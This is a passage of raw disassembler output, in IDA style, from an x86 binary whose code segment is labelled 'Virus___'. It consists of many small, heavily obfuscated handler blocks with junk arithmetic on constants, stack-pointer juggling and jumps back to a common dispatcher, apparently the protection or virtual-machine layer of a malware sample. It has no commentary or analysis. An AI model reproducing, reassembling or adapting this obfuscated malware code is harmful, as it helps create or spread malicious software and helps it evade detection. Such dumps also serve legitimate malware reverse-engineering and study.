		jmp	loc_544AEC
; ---------------------------------------------------------------------------


loc_549FA8:				; CODE XREF: sub_545A2B+2ADBj
		pop	ecx
		add	[esp-18h+arg_12+2], 66DA430Eh
		add	[esp-18h+arg_12+2], 6F2E4B9Ch
		jmp	loc_543DB3
; ---------------------------------------------------------------------------


loc_549FBC:				; CODE XREF: sub_545A2B+56BEj
		pop	esp
		jmp	loc_5492D1
; ---------------------------------------------------------------------------


loc_549FC2:				; CODE XREF: sub_545A2B+6A53j
		push	small 34A4h
		mov	word ptr [esp-1Ah+arg_16], cx
		jmp	loc_54A8C1
; ---------------------------------------------------------------------------


loc_549FCF:				; CODE XREF: sub_545A2B-A59j
					; sub_545A2B+4552j
		push	ebx
		xor	[esp-24h+arg_1E+2], 246958E0h
		jmp	loc_54AAC6
; ---------------------------------------------------------------------------


loc_549FDC:				; CODE XREF: Virus___:0054CE4Ej
		mov	[esp-24h+arg_1E+2], ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		jmp	loc_547A60
; ---------------------------------------------------------------------------


loc_549FEC:				; CODE XREF: sub_545A2B+74BAj
		add	bl, cl
		pop	cx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_549FFB:				; CODE XREF: sub_545A2B-1F1j
		mov	esi, 4E9C78D0h
		not	esi
		jmp	loc_54B508
; ---------------------------------------------------------------------------


loc_54A007:				; CODE XREF: sub_545A2B+6289j
		add	ecx, 0ECA776Dh
		sub	ecx, 71BD213Bh
		push	eax
		push	36CB01E2h
		pop	eax
		add	ecx, eax
		pop	eax
		sub	ecx, 38530878h
		add	ecx, edi
		add	ecx, 38530878h
		sub	ecx, 36CB01E2h
		add	ecx, 71BD213Bh
		push	eax
		mov	eax, 0ECA776Dh
		sub	ecx, eax
		pop	eax
		push	595Dh
		mov	[esp-34h+arg_2E+2], edx
		pop	dword ptr [ecx]
		jmp	loc_54EB3A
; ---------------------------------------------------------------------------


loc_54A04F:				; CODE XREF: sub_545A2B+5AD8j
		sub	esp, 4
		mov	[esp-34h+arg_2E+2], edx
		jmp	loc_549BE1
; ---------------------------------------------------------------------------


loc_54A05D:				; CODE XREF: sub_545A2B+4328j
		not	bl
		jmp	loc_54C825
; ---------------------------------------------------------------------------


loc_54A064:				; CODE XREF: sub_545A2B-18F1j
		push	edi
		mov	edi, 175C418Dh
		not	edi
		or	edi, 67CB2186h
		sub	edi, 1A1D404Ch
		and	edi, 66A05EC7h
		sub	edi, 0E4975A3Ch
		jmp	loc_548A91
; ---------------------------------------------------------------------------


loc_54A089:				; CODE XREF: sub_545A2B-271Fj
		mov	esi, 5A8E669Fh
		sub	esp, 4
		mov	[esp-10h+arg_A+2], ebx
		mov	ebx, 79041650h
		add	ebx, 6DD3A789h
		add	esi, ebx
		pop	ebx
		mov	edi, esi
		pop	esi
		sub	eax, edi
		pop	edi
		sub	eax, 605474BAh
		sub	esp, 4
		mov	[esp-18h+arg_12+2], ebx
		mov	ebx, 42BC661Bh
		push	edi
		push	ebx
		mov	ebx, 4ECB1858h
		sub	ebx, 723956FDh
		dec	ebx
		jmp	loc_5449E2
; ---------------------------------------------------------------------------


loc_54A0CB:				; CODE XREF: sub_545A2B+606Aj
		push	esp
		jmp	loc_54AD73
; ---------------------------------------------------------------------------


loc_54A0D1:				; CODE XREF: sub_545A2B+5184j
		add	edi, ecx
		add	edi, 70DF5282h
		pop	ecx
		xchg	edi, [esp-10h+arg_A+2]
		pop	esp
		jmp	loc_547761
; ---------------------------------------------------------------------------


loc_54A0E3:				; CODE XREF: sub_545A2B+5E97j
		or	ebp, 285615A9h
		inc	ebp
		shr	ebp, 7
		jmp	loc_549B9A
; ---------------------------------------------------------------------------


loc_54A0F2:				; DATA XREF: Virus___:00542CECo
		push	dword ptr [edi+40h]
		jmp	loc_54333F
; ---------------------------------------------------------------------------


loc_54A0FA:				; CODE XREF: sub_545A2B+2DDCj
		mov	ebp, [esp-46h+arg_42]
		jmp	loc_5469E8
; ---------------------------------------------------------------------------


loc_54A102:				; CODE XREF: sub_545A2B-1AD6j
		and	cl, 0A0h
		jmp	loc_54AF86
; ---------------------------------------------------------------------------


loc_54A10A:				; CODE XREF: sub_545A2B+6093j
		mov	ecx, 359C302Fh
		sub	ecx, 445279EDh
		jmp	loc_547516
; ---------------------------------------------------------------------------


loc_54A11A:				; CODE XREF: sub_545A2B+84FEj
		add	esp, 4
		mov	esi, [esp-40h+arg_3A+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_544334
; ---------------------------------------------------------------------------


loc_54A137:				; CODE XREF: sub_545A2B+B45j
		add	edx, ecx
		pop	ecx
		jmp	loc_547465
; ---------------------------------------------------------------------------


loc_54A13F:				; CODE XREF: sub_545A2B+7D12j
		pop	eax
		xchg	edi, [esp-18h+arg_12+2]
		pop	esp
		mov	[esp-1Ch+arg_16+2], ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_549E64
; ---------------------------------------------------------------------------


loc_54A15C:				; CODE XREF: sub_545A2B+2F1Ej
		pop	ebp
		jmp	loc_5474B4
; ---------------------------------------------------------------------------


loc_54A162:				; CODE XREF: sub_543A46+1557j
		sub	esi, 4
		push	esi
		push	[esp-2Ah+arg_2A]
		pop	esi
		jmp	loc_546497
; ---------------------------------------------------------------------------


loc_54A173:				; CODE XREF: sub_545A2B-2188j
		mov	esi, esp
		push	ecx
		mov	ecx, 2694138Eh
		jmp	loc_54DA61
; ---------------------------------------------------------------------------


loc_54A180:				; CODE XREF: sub_545A2B+4E6Bj
		sub	esp, 4
		mov	[esp-24h+arg_1E+2], esp
		add	[esp-24h+arg_1E+2], 4
		pop	edi
		sub	esp, 4
		mov	[esp-24h+arg_1E+2], ebx
		mov	ebx, 54D03F1Eh
		xor	ebx, ecx
		xor	ecx, ebx
		jmp	loc_548CBF
; ---------------------------------------------------------------------------


loc_54A1A2:				; CODE XREF: sub_545A2B+5EE0j
		add	esp, 4
		sub	bl, cl
		pop	cx
		add	bl, 0AEh
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_54D1C6
; ---------------------------------------------------------------------------


loc_54A1B7:				; CODE XREF: sub_545A2B+6EF3j
		push	[esp-26h+arg_22]
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_544A57
; ---------------------------------------------------------------------------


loc_54A1C3:				; CODE XREF: sub_545A2B+5BB2j
		mov	ebp, 2
		add	edx, ebp
		mov	ebp, [esp-22h+arg_1E]
		add	esp, 4
		xor	edx, [esp-26h+arg_22]
		jmp	loc_548F8B
; ---------------------------------------------------------------------------


loc_54A1DB:				; CODE XREF: sub_545A2B+6234j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54A1E0:				; CODE XREF: sub_545A2B+99F0j
		mov	ebx, edi
		jmp	loc_543C34
; ---------------------------------------------------------------------------


loc_54A1E7:				; CODE XREF: sub_545A2B+249Cj
		pop	ecx
		jmp	loc_549310
; ---------------------------------------------------------------------------


loc_54A1ED:				; CODE XREF: sub_545A2B+2D0Cj
		add	ecx, 0AA07E36h
		not	ecx
		add	ecx, 0CB3C5745h
		mov	edx, 0D8F6DB71h
		add	edx, ecx
		pop	ecx
		jmp	loc_5486FE
; ---------------------------------------------------------------------------


loc_54A208:				; CODE XREF: sub_545A2B+4E54j
		pop	ecx
		mov	cx, word ptr [esp-54h+arg_50]
		jmp	loc_54E0B0
; ---------------------------------------------------------------------------


loc_54A212:				; CODE XREF: sub_545A2B-FEAj
		add	esp, 2
		not	bl
		xchg	bl, al
		add	al, 34h
		jmp	loc_547734
; ---------------------------------------------------------------------------


loc_54A220:				; CODE XREF: sub_545A2B+3F01j
		shl	esi, 5
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_544DAF
; ---------------------------------------------------------------------------


loc_54A237:				; DATA XREF: Virus___:00542F0Co
		push	[esp-3Eh+arg_3A]
		mov	eax, [esp-3Ah+arg_36]
		add	esp, 4
		push	17C0h
		mov	[esp-3Ah+arg_36], ebp
		mov	ebp, esp
		push	eax
		push	edx
		mov	edx, 1FEA14BFh
		mov	eax, 0E015EB45h
		push	edx
		mov	edx, 581B76CCh
		or	edx, 11B878A0h
		or	edx, 2E7369B9h
		jmp	loc_545509
; ---------------------------------------------------------------------------


loc_54A26D:				; CODE XREF: sub_545A2B+6777j
		mov	ah, bl
		pop	ebx
		pop	edx
		jmp	loc_5496F1
; ---------------------------------------------------------------------------


loc_54A276:				; CODE XREF: sub_545A2B-12FEj
		and	al, 33h
		or	al, 69h
		inc	al
		sub	al, 0FEh
		add	cl, al
		jmp	loc_549EF3
; ---------------------------------------------------------------------------


loc_54A285:				; CODE XREF: sub_545A2B+D3j
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_549427
; ---------------------------------------------------------------------------


loc_54A291:				; CODE XREF: sub_545A2B+6844j
		push	edx
		jmp	loc_5459A9
; ---------------------------------------------------------------------------


loc_54A297:				; CODE XREF: sub_545A2B+572Fj
		shl	edx, 1
		xor	edx, 0F57B703Ah
		jmp	loc_544612
; ---------------------------------------------------------------------------


loc_54A2A4:				; CODE XREF: sub_545A2B+7540j
		mov	edi, [esp+0Ch+var_C]
		jmp	loc_546F3B
; ---------------------------------------------------------------------------


loc_54A2AC:				; CODE XREF: sub_545A2B-B37j
		add	bl, 43h
		not	bl
		add	bl, 0C6h
		push	ecx
		jmp	loc_54D268
; ---------------------------------------------------------------------------


loc_54A2BA:				; CODE XREF: sub_545A2B+5972j
		pop	eax
		push	dword ptr [ebx]
		xor	[esp-16h+arg_12], 798929F3h
		pop	ecx
		push	ebp
		mov	ebp, 798929F3h
		xor	ecx, ebp
		pop	ebp
		pop	ebx
		push	737Ch
		mov	[esp-1Ah+arg_16], edx
		mov	edx, 7BF4589h
		push	ebx
		jmp	loc_54E1B1
; ---------------------------------------------------------------------------
		push	[esp-16h+arg_12]
		mov	ecx, [esp-12h+arg_E]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-0Eh+arg_A]
		pop	esp
		push	ebp
		jmp	loc_54306B
; ---------------------------------------------------------------------------


loc_54A301:				; CODE XREF: sub_545A2B+3639j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54CAF6
; ---------------------------------------------------------------------------


loc_54A30E:				; CODE XREF: sub_54DECB+1j
		mov	ebp, edi
		mov	esi, ebp
		jmp	loc_5446E0
; ---------------------------------------------------------------------------


loc_54A317:				; CODE XREF: sub_545A2B+6343j
		xor	eax, 176B4C64h
		or	ebx, eax
		pop	eax
		add	ebx, 83C390F5h
		add	eax, 4E7118ABh
		add	eax, ebx
		jmp	loc_5463D2
; ---------------------------------------------------------------------------


loc_54A331:				; CODE XREF: sub_545A2B+CB5j
		mov	[esp-1Eh+arg_1A], ecx
		jmp	loc_543F25
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp-22h+arg_1E], eax
		pushf
		jmp	loc_54A4ED
; ---------------------------------------------------------------------------


loc_54A347:				; CODE XREF: sub_545A2B+9A2j
		push	1B411209h
		pop	ebp
		shr	ebp, 7
		and	ebp, 2BD15944h
		sub	ebp, 100003h
		mov	ebx, ebp
		pop	ebp
		add	[eax], ebx
		push	[esp-3Ch+arg_36+2]
		pop	ebx
		add	esp, 4
		pop	eax


loc_54A36C:				; CODE XREF: sub_545A2B+81FEj
		push	377Dh
		jmp	loc_544151
; ---------------------------------------------------------------------------


loc_54A376:				; CODE XREF: sub_545A2B+4434j
		sub	edx, 1
		dec	edx
		not	edx
		jmp	loc_543B3A
; ---------------------------------------------------------------------------


loc_54A384:				; CODE XREF: sub_545A2B-51Aj
		and	edx, 2F55691h
		sub	edx, 0E4D3DFB9h
		add	eax, edx
		pop	edx
		add	eax, edx
		jmp	loc_54C645
; ---------------------------------------------------------------------------


loc_54A39A:				; CODE XREF: sub_54537B+1Dj
		pop	esp
		push	edx
		push	[esp-3Eh+arg_3E]
		pop	edx
		pop	[esp-3Eh+arg_3A]
		mov	esp, [esp-42h+arg_3E]
		dec	[esp-42h+arg_3E]
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54A3B0:				; CODE XREF: sub_545A2B+645Aj
		xchg	bl, cl
		not	bl
		xchg	bl, cl
		mov	bh, cl
		jmp	loc_545354
; ---------------------------------------------------------------------------
		mov	ecx, [esp-3Eh+arg_3A]
		jmp	loc_54771F
; ---------------------------------------------------------------------------


loc_54A3C5:				; CODE XREF: sub_545A2B+51F2j
		add	edi, ebp
		pop	ebp
		jmp	sub_54E769
; ---------------------------------------------------------------------------


loc_54A3CD:				; CODE XREF: sub_545A2B+2AE5j
		mov	[esp-10h+arg_A+2], esi
		push	[esp-10h+arg_E+2]
		push	dword ptr [esp+0]
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_54EA72
; ---------------------------------------------------------------------------


loc_54A3E5:				; CODE XREF: sub_545A2B+9118j
		pop	eax
		push	edi
		mov	di, dx
		mov	ax, di
		pop	edi
		jmp	loc_543E64
; ---------------------------------------------------------------------------


loc_54A3F3:				; CODE XREF: Virus___:00543572j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54A3F8:				; CODE XREF: sub_545A2B+2C14j
		pop	esi
		add	esp, 4
		add	esi, 4
		push	ecx
		push	eax
		mov	eax, 49094775h
		push	ecx
		mov	ecx, 13132F8Dh
		jmp	loc_5499D0
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+4+var_4],	cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54A427:				; CODE XREF: sub_545A2B+6CEDj
		mov	[esp+8+var_8], edx
		push	4AB56F6Eh
		pop	edx
		add	eax, edx
		pop	edx
		add	eax, 2A795086h
		push	ebp
		push	eax
		mov	eax, 262C55B8h
		jmp	loc_543370
; ---------------------------------------------------------------------------


loc_54A444:				; CODE XREF: sub_545A2B+4CB0j
		movzx	ecx, al
		jmp	loc_544CD0
; ---------------------------------------------------------------------------


loc_54A44C:				; CODE XREF: sub_545A2B+377Dj
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54A451:				; CODE XREF: sub_545A2B+55DBj
		xor	eax, ecx
		xchg	eax, edx
		jmp	sub_544B11
; ---------------------------------------------------------------------------


loc_54A459:				; CODE XREF: sub_54EE9E+1Bj
		mov	[esp-0Eh+arg_A], edi
		mov	edi, 307E1E26h
		jmp	loc_546760
; ---------------------------------------------------------------------------


loc_54A466:				; CODE XREF: Virus___:00544700j
		add	al, 97h
		jmp	loc_547906
; ---------------------------------------------------------------------------


loc_54A46D:				; CODE XREF: sub_545A2B+1283j
		shl	cl, 8
		shl	cl, 5
		push	dx
		jmp	loc_54821C
; ---------------------------------------------------------------------------


loc_54A47A:				; CODE XREF: sub_545A2B+C60j
		sub	ebp, 44B01C38h
		xor	ebp, 9D2A61A9h
		add	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xor	esi, [esp-44h+arg_3E+2]
		xor	[esp-44h+arg_3E+2], esi
		jmp	loc_54D349
; ---------------------------------------------------------------------------


loc_54A49D:				; CODE XREF: sub_545A2B+54ECj
		xor	ecx, 804CBF8h
		sub	eax, ecx
		pop	ecx
		neg	eax
		add	eax, 9F1C276Bh
		push	eax
		mov	ecx, [esp-44h+arg_3E+2]
		add	esp, 4
		jmp	loc_54D6EE
; ---------------------------------------------------------------------------


loc_54A4B9:				; CODE XREF: sub_545A2B+96C3j
		push	3A21h
		jmp	loc_5495C9
; ---------------------------------------------------------------------------


loc_54A4C3:				; CODE XREF: sub_545A2B+5920j
		xor	ecx, 51C867F9h
		push	ebx
		mov	ebx, 28015335h
		shr	ebx, 5
		add	ebx, 4F662972h
		jmp	loc_546606
; ---------------------------------------------------------------------------


loc_54A4DD:				; CODE XREF: sub_545A2B+66CDj
		mov	ebx, esp
		push	edx
		jmp	loc_54965C
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54A4ED:				; CODE XREF: sub_545A2B+4917j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54A4F2:				; CODE XREF: sub_545A2B-242j
		mov	ebp, [esp-32h+arg_2E]
		jmp	loc_54B917
; ---------------------------------------------------------------------------


loc_54A4FA:				; CODE XREF: sub_545A2B+6CABj
		shr	ecx, 7
		sub	ecx, 4BEB71h
		add	esi, ecx
		pop	ecx
		jmp	loc_5468BC
; ---------------------------------------------------------------------------


loc_54A50B:				; CODE XREF: sub_545A2B+8435j
		push	1C8B1BCDh
		jmp	loc_54E6AB
; ---------------------------------------------------------------------------


loc_54A515:				; CODE XREF: sub_545A2B+1984j
		sub	edx, 4
		xchg	edx, [esp-34h+arg_2E+2]
		pop	esp
		mov	[esp-38h+arg_32+2], ecx
		mov	ecx, 334E4085h
		jmp	loc_543FF3
; ---------------------------------------------------------------------------


loc_54A52C:				; CODE XREF: sub_545A2B+2BE0j
		pop	ebx
		push	ecx
		mov	ecx, 1A32577Ah
		inc	ecx
		sub	ecx, 1A325779h
		add	esi, ecx
		pop	ecx
		xor	esi, [esp-1Ah+arg_16]
		xor	[esp-1Ah+arg_16], esi
		jmp	loc_546270
; ---------------------------------------------------------------------------


loc_54A548:				; CODE XREF: sub_545A2B+707Bj
		add	[esp-1Ah+arg_1A], 7486276Eh
		mov	ecx, [esp-1Ah+arg_16]
		jmp	loc_545FCE
; ---------------------------------------------------------------------------


loc_54A558:				; CODE XREF: sub_545A2B+5684j
		xor	ebp, [esp-1Ah+arg_16]
		pop	esp
		jmp	loc_54D133
; ---------------------------------------------------------------------------


loc_54A561:				; CODE XREF: sub_545A2B+3C2Cj
		shr	ebx, 7
		sub	ebx, 15027587h
		add	ecx, ebx
		jmp	loc_5436F3
; ---------------------------------------------------------------------------


loc_54A571:				; CODE XREF: sub_545A2B-D3Bj
		add	esp, 4
		jmp	loc_5439B4
; ---------------------------------------------------------------------------


loc_54A579:				; CODE XREF: sub_545A2B+3C66j
		pop	edi
		xor	ebp, [esp-26h+arg_22]
		xor	[esp-26h+arg_22], ebp
		xor	ebp, [esp-26h+arg_22]
		mov	esp, [esp-26h+arg_22]
		push	11EEh
		mov	[esp-22h+arg_1E], ebx
		sub	esp, 4
		jmp	loc_544B4E
; ---------------------------------------------------------------------------


loc_54A596:				; CODE XREF: sub_545A2B+3FBCj
		push	eax
		mov	ah, 34h
		dec	ah
		sub	ah, 4Dh
		add	dl, ah
		pop	eax
		jmp	loc_5439D9
; ---------------------------------------------------------------------------


loc_54A5A6:				; CODE XREF: sub_545A2B+3BE1j
		xor	ebx, 24C57AEh
		add	ebx, 8479B6ABh
		mov	eax, ebx
		pop	ebx
		add	esi, eax
		push	[esp-1Eh+arg_1A]
		pop	eax
		add	esp, 4
		push	1A3Ah
		mov	[esp-1Eh+arg_1A], esi
		push	1C74h
		mov	[esp-1Ah+arg_16], ebx
		mov	ebx, 612E348Bh
		add	ebx, 1B1DD79h
		xor	[esp-1Ah+arg_1A], ebx
		push	[esp-1Ah+arg_16]
		pop	ebx
		jmp	loc_54DC50
; ---------------------------------------------------------------------------


loc_54A5E9:				; CODE XREF: sub_545A2B+5F2Bj
		pop	ebp
		jmp	loc_54B80B
; ---------------------------------------------------------------------------


loc_54A5EF:				; CODE XREF: sub_545A2B+97CDj
		or	edi, ebx
		pop	ebx
		jmp	loc_54DBEB
; ---------------------------------------------------------------------------


loc_54A5F7:				; CODE XREF: sub_545A2B-E5Dj
		dec	bh
		jmp	loc_54949E
; ---------------------------------------------------------------------------


loc_54A5FE:				; CODE XREF: sub_545A2B+8485j
		xor	edi, edx
		mov	edx, [esp-10h+arg_A+2]
		add	esp, 4
		jmp	loc_54D9C3
; ---------------------------------------------------------------------------


loc_54A60E:				; CODE XREF: sub_545A2B+82DDj
		pop	edx
		xor	ebp, [esp-18h+arg_12+2]
		xor	[esp-18h+arg_12+2], ebp
		xor	ebp, [esp-18h+arg_12+2]
		mov	esp, [esp-18h+arg_12+2]
		push	esi
		mov	esi, esp
		jmp	loc_5443BE
; ---------------------------------------------------------------------------


loc_54A623:				; CODE XREF: sub_545A2B+8EF3j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-14h+arg_E+2]
		jmp	loc_54978B
; ---------------------------------------------------------------------------


loc_54A633:				; DATA XREF: Virus___:00542E2Co
		push	dword ptr [edi+1Ch]
		xor	[esp-10h+arg_A+2], 7FF51A1Dh
		mov	eax, [esp-10h+arg_A+2]
		jmp	sub_54D94C
; ---------------------------------------------------------------------------


loc_54A645:				; CODE XREF: sub_545A2B+323Aj
		sub	eax, edi
		add	eax, 46E43C4Eh
		mov	edi, eax
		pop	eax
		not	edi
		add	edi, 0D3F58F10h
		sub	esi, edi
		pop	edi
		sub	ebp, esi
		mov	esi, [esp-50h+arg_4C]
		add	esp, 4
		xor	ebp, [esp-54h+arg_50]
		xor	[esp-54h+arg_50], ebp
		xor	ebp, [esp-54h+arg_50]
		jmp	loc_549CDF
; ---------------------------------------------------------------------------


loc_54A673:				; CODE XREF: sub_545A2B+845Cj
		pop	esp
		add	esi, 4
		push	ecx
		mov	ecx, 2
		add	esi, ecx
		pop	ecx
		push	esi
		push	[esp-54h+arg_54]
		mov	esi, [esp-50h+arg_4C]
		jmp	loc_54B4B0
; ---------------------------------------------------------------------------


loc_54A690:				; CODE XREF: sub_544B11+Cj
		add	esi, 43D665F9h
		add	esi, 6D73D40Bh
		add	ebp, esi
		pop	esi
		push	ecx
		mov	ecx, 23E0020Bh
		shl	ecx, 1
		and	ecx, 7E482EC0h
		xor	ecx, 22AF74B8h
		xor	ecx, 10B44C2Ch
		inc	ecx
		and	ecx, 64670BC0h
		shr	ecx, 2
		inc	ecx
		jmp	loc_54D8A6
; ---------------------------------------------------------------------------


loc_54A6C9:				; CODE XREF: sub_545A2B+1117j
		pop	edi
		and	esi, 67FB7A66h
		jmp	loc_5431AB
; ---------------------------------------------------------------------------


loc_54A6D5:				; CODE XREF: sub_545A2B-4BFj
		add	esp, 4
		jmp	loc_54A444
; ---------------------------------------------------------------------------


loc_54A6E0:				; CODE XREF: sub_545A2B+61F8j
		add	edi, 10746868h
		shr	edi, 3
		not	edi
		xor	edi, 0FE09FEDAh
		mov	ebx, edi
		pop	edi
		jmp	loc_549095
; ---------------------------------------------------------------------------


loc_54A6F9:				; CODE XREF: sub_545A2B-11BCj
		push	dword ptr [edi+eax*4]
		push	5201h
		mov	[esp-34h+arg_2E+2], esi
		jmp	sub_54F099
; ---------------------------------------------------------------------------


loc_54A709:				; CODE XREF: sub_545A2B+1375j
		push	0
		jmp	loc_547725
; ---------------------------------------------------------------------------


loc_54A713:				; CODE XREF: sub_545A2B+7243j
		add	esp, 4
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54A71B:				; CODE XREF: sub_545A2B+3CD6j
		add	eax, 4
		jmp	sub_54317D
; ---------------------------------------------------------------------------


loc_54A725:				; CODE XREF: sub_545A2B+6620j
		xor	ebx, 8AD2CB4Dh
		add	esi, ebx
		mov	ebx, [esp-2Eh+arg_2A]
		add	esp, 4
		dec	esi
		add	esi, 7503CA38h
		mov	eax, esi
		pop	esi
		and	ecx, eax
		push	[esp-36h+arg_32]
		pop	eax
		push	22Bh
		jmp	loc_5484B1
; ---------------------------------------------------------------------------


loc_54A74D:				; CODE XREF: sub_545A2B+149j
		pop	eax
		jmp	loc_546D46
; ---------------------------------------------------------------------------


loc_54A753:				; CODE XREF: Virus___:005446A1j
		add	esi, ebp
		pop	ebp
		not	esi
		and	esi, 306E7F7Bh
		inc	esi
		inc	esi
		add	esi, 0FFFFFFFFh
		add	esi, 0E86A2F4Fh
		jmp	loc_543F3A
; ---------------------------------------------------------------------------


loc_54A771:				; CODE XREF: sub_545A2B+9A73j
		mov	ecx, 7E5752D6h
		jmp	loc_54C029
; ---------------------------------------------------------------------------


loc_54A77B:				; CODE XREF: Virus___:0054F1D7j
		mov	[esp-1Eh+arg_1A], esi
		push	esp
		pop	esi
		push	edi
		push	ecx
		push	6C80697Ah
		pop	ecx
		xor	ecx, 6C80697Eh
		mov	edi, ecx
		jmp	loc_545B14
; ---------------------------------------------------------------------------


loc_54A795:				; CODE XREF: sub_545A2B+3B62j
		add	ecx, 55DB6603h
		shr	ecx, 5
		xor	ecx, 4E83A22h
		add	ecx, 2206E5CFh
		sub	edx, ecx
		jmp	loc_546BF1
; ---------------------------------------------------------------------------


loc_54A7B1:				; CODE XREF: sub_545A2B+2C39j
		pop	edx
		jmp	loc_544214
; ---------------------------------------------------------------------------


loc_54A7B7:				; DATA XREF: Virus___:00542CE0o
		mov	edx, [esp-2Ah+arg_26]
		jmp	loc_549D1D
; ---------------------------------------------------------------------------


loc_54A7BF:				; CODE XREF: sub_545A2B+559Aj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-2Ah+arg_26]
		jmp	loc_54B995
; ---------------------------------------------------------------------------


loc_54A7D0:				; CODE XREF: sub_545A2B+2A81j
		sub	al, 63h
		sub	al, bl
		jmp	loc_54B888
; ---------------------------------------------------------------------------
		lodsd
		sub	esi, 7EFA68D1h
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, 65B512B8h
		sub	esi, 621E6B13h
		jmp	loc_54BB2D
; ---------------------------------------------------------------------------


loc_54A7F9:				; CODE XREF: sub_545A2B+872Cj
		push	dword ptr [esp+0]
		pop	ecx
		jmp	sub_544C48
; ---------------------------------------------------------------------------


loc_54A802:				; CODE XREF: sub_545A2B+676Fj
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_544E43
; ---------------------------------------------------------------------------


loc_54A80C:				; CODE XREF: sub_545A2B+9034j
		push	ecx
		mov	ch, dh
		push	ebx
		mov	bl, ch
		mov	al, bl
		pop	ebx
		pop	ecx
		push	ecx
		mov	ch, al
		jmp	loc_549AFB
; ---------------------------------------------------------------------------


loc_54A81E:				; CODE XREF: sub_545A2B+8DC7j
		xor	edi, esi
		mov	esi, [esp+24h+var_24]
		add	esp, 4
		jmp	loc_54B9CA
; ---------------------------------------------------------------------------


loc_54A82B:				; CODE XREF: sub_545A2B-1533j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xor	ebp, [esp-1Ah+arg_16]
		xor	[esp-1Ah+arg_16], ebp
		xor	ebp, [esp-1Ah+arg_16]
		mov	esp, [esp-1Ah+arg_16]
		push	10BEh
		mov	[esp-16h+arg_12], edx
		push	1
		mov	edx, [esp-12h+arg_E]
		jmp	loc_5473EF
; ---------------------------------------------------------------------------


loc_54A854:				; CODE XREF: sub_545A2B-29B8j
		add	[esp+6+var_8+2], 4
		jmp	loc_543A1D
; ---------------------------------------------------------------------------


loc_54A85D:				; CODE XREF: sub_545A2B+85ADj
		and	ecx, 25F18BAh
		sub	ecx, 531F7821h
		not	ecx
		jmp	loc_5463A3
; ---------------------------------------------------------------------------


loc_54A870:				; CODE XREF: sub_545A2B+1DFEj
		sub	ah, 9Eh
		jmp	loc_54A89B
; ---------------------------------------------------------------------------


loc_54A878:				; CODE XREF: sub_545A2B+8BABj
		sub	bl, ch
		push	ecx
		mov	ch, 53h
		add	bl, ch
		jmp	loc_54A208
; ---------------------------------------------------------------------------


loc_54A884:				; CODE XREF: sub_545A2B+5FE6j
		push	eax
		mov	eax, 39B93EC4h
		mov	edi, 0EEBDF5AEh
		jmp	loc_54DA26
; ---------------------------------------------------------------------------


loc_54A894:				; CODE XREF: sub_545A2B+7BB3j
		pop	eax
		push	edi
		jmp	loc_54A180
; ---------------------------------------------------------------------------


loc_54A89B:				; CODE XREF: sub_545A2B+4E48j
		add	bh, ah
		jmp	loc_545EC3
; ---------------------------------------------------------------------------


loc_54A8A2:				; CODE XREF: sub_545A2B+7E53j
		and	edx, 13670B47h
		jmp	loc_54B752
; ---------------------------------------------------------------------------


loc_54A8AD:				; DATA XREF: Virus___:00542E68o
		push	[esp-10h+arg_A+2]
		mov	eax, [esp+0]
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_545540
; ---------------------------------------------------------------------------


loc_54A8C1:				; CODE XREF: sub_545A2B+459Fj
		push	ebx
		mov	bh, 0E8h
		xor	bh, 0BEh
		shr	bh, 4
		jmp	loc_54D4A2
; ---------------------------------------------------------------------------


loc_54A8CF:				; CODE XREF: sub_545A2B-2796j
		add	edx, 2
		xchg	edx, [esp-1Eh+arg_1A]
		mov	esp, [esp-1Eh+arg_1A]
		cmp	cx, ax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54A8E1:				; CODE XREF: sub_544E4C+9j
		push	edx
		push	ebx
		mov	bl, al
		mov	dl, bl
		mov	ebx, [esp-12h+arg_E]
		add	esp, 4
		push	ecx
		push	eax
		mov	al, dl
		mov	ch, al
		jmp	loc_543085
; ---------------------------------------------------------------------------


loc_54A8F8:				; CODE XREF: sub_545A2B+3F45j
		push	eax
		push	2
		push	[esp-0Eh+arg_A]
		pop	eax
		add	esp, 4
		jmp	loc_54CBDE
; ---------------------------------------------------------------------------


loc_54A90D:				; CODE XREF: sub_545A2B+2BFBj
		add	esp, 4
		add	ecx, 25D3463Ah
		add	ecx, eax
		sub	ecx, 25D3463Ah
		pop	eax
		jmp	loc_54C0FD
; ---------------------------------------------------------------------------


loc_54A927:				; CODE XREF: sub_545A2B+6D8j
		push	[esp-16h+arg_16]
		pop	edx
		jmp	loc_54C2E1
; ---------------------------------------------------------------------------


loc_54A931:				; CODE XREF: sub_545A2B+3303j
